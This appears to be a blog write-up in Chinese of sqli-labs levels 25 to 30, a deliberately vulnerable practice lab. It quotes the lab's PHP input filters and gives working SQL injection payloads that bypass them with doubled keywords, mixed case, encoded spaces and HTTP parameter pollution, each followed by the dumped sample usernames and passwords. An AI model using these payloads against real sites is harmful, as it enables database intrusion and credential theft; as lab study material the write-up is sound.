接續前篇 從sqli-labs學習SQL注入(Less19-Less24)
Less-25
和Less-1相比,源碼過濾了 or 和 and 關鍵詞
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
聯合盲注
爆值
以爆值password字段為例,這邊需要寫二次繞過(password寫成passwoorrd)
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
輸出內容:
Your Password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin
測試注入點payload
?id=0' oorr 1=1 --+ ?id=2' aandnd 1=1 --+
Less-25a
與 Less-25 相比,只是拼接方式改變,因為代碼中沒有輸出報錯信息,所以也無法進行報錯注入,其他利用方式都是一樣的
Less-26
sqli-lab tutorial-1-35 customs Writeup 的Less 26-28題沒解成功,把鍋甩給 sqli-lab学习笔记(学习笔记)(21-30) 。所以參考國光的Less-26
源碼分析
# 過濾了 or 和 and 大小寫 $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) # 過濾了 /* $id= preg_replace('/[\/\*]/',"", $id); //strip out /* # 過濾了 -- 和 # 註釋 $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # # 過濾了空格 $id= preg_replace('/[\s]/',"", $id); //Strip out spaces # 過濾了斜線 $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
過濾了 or 和 and 可以採用 雙寫或者 && || 繞過
過濾註釋 可以使用閉合繞過
過濾了空格 可以使用如下的符號來替代:
國光payload
?id=100'%0bunion%0bselect%0b1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,passwoorrd,0x3c62723e))))x),3%0baandnd%0b'1'='1
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'unionselect1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(users)WHERE(@x)IN(' at line 1
我的系統是CentOS 7.9 + nginx + php 5.6,用 %0b 繞過解這一題會報錯,改用 %a0 解題?id=100'%a0union%a0select%a01,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,passwoorrd,0x3c62723e))))x),3%a0aandnd%a0'1'='1
輸出內容:Your Login name: Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin
成功繞過Less-26a
與 Less-26 相比,只是拼接方式改變了,從單引號改成單引號加括號,因為沒有輸出報錯信息,所以不能使用報錯注入了
Less-27
過濾規則又增加了許多
# 過濾了 /* $id= preg_replace('/[\/\*]/',"", $id); # 過濾了 - $id= preg_replace('/[--]/',"", $id); # 過濾了 # $id= preg_replace('/[#]/',"", $id); # 過濾了空格 $id= preg_replace('/[ +]/',"", $id); # 過濾了 select /m 嚴格模式 不可以使用雙寫繞過 $id= preg_replace('/select/m',"", $id); $id= preg_replace('/select/s',"", $id); $id= preg_replace('/Select/s',"", $id); $id= preg_replace('/SELECT/s',"", $id); # 過濾了 union UNION $id= preg_replace('/union/s',"", $id); $id= preg_replace('/Union/s',"", $id); $id= preg_replace('/UNION/s',"", $id);
union 和 select 沒有忽略大小寫 導致寫了很多冗雜的規則,但還是可以輕易繞過。
# 大小寫混寫
unioN
unIon
seLect
...
# 嵌套雙寫
uunionnion
sselectelect
ununionion
...
payload
?id=100'%a0ununionion%a0seLect%a01,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,password,0x3c62723e))))x),3%a0and%a0'1
輸出內容:
Your Login name: Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin
Less-27a
和 Less-27 相比,只是拼接方式發生了改變,從單引號改成雙引號,又因為沒有報錯日誌的輸出,所以少了報錯注入的利用方式,利用方式換湯不換藥
Less-28
過濾規則如下
# 過濾 /* $id= preg_replace('/[\/\*]/',"", $id); # 過濾 - # 註釋 $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); # 過濾 空格 + $id= preg_replace('/[ +]/',"", $id);. # 過濾 union select /i 大小寫都過濾 $id= preg_replace('/union\s+select/i',"", $id);
這裡 union 和 select 這裡可以使用雙寫嵌套繞過,過濾了註釋的話 就使用閉合繞過,過濾了空格使用 Less-26 的編碼繞過
payload
?id=100')%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(username,0x3a,password%a0SEPARATOR%a00x3c62723e)%a0FROM%a0users),3%a0and%a0('1
輸出內容:
Your Login name:Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin
Less-28a
同Less-28,還少了幾個過濾規則,拼接方式都一樣。略
Less-29
這題考的觀念是,假設用戶輸入這樣的語句:
index.php?id=1&id=2
Apache PHP 會解析最後一個參數(nginx也是)
Tomcat JSP 會解析第一個參數
Less-29/login.php 模擬了nginx/apache 前面有一個jsp的防火墻,使用java_implimentation()和whitelist()檢查id這個輸入必須是數字
$qs = $_SERVER['QUERY_STRING']; $hint=$qs; $id1=java_implimentation($qs); whitelist($id1); //WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } // The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "
"; break; } } }
失敗的payload
login.php?id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
會跳到 hacked.php
HPP(HTTP Parameter Pollution)即 HTTP 參數污染攻擊payload
login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+users)--+
輸出內容:Your Password:Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin
成功繞過
Less-30
和Less-29一樣,只是拼接方式從單引號改成雙引號
沒有留言:
張貼留言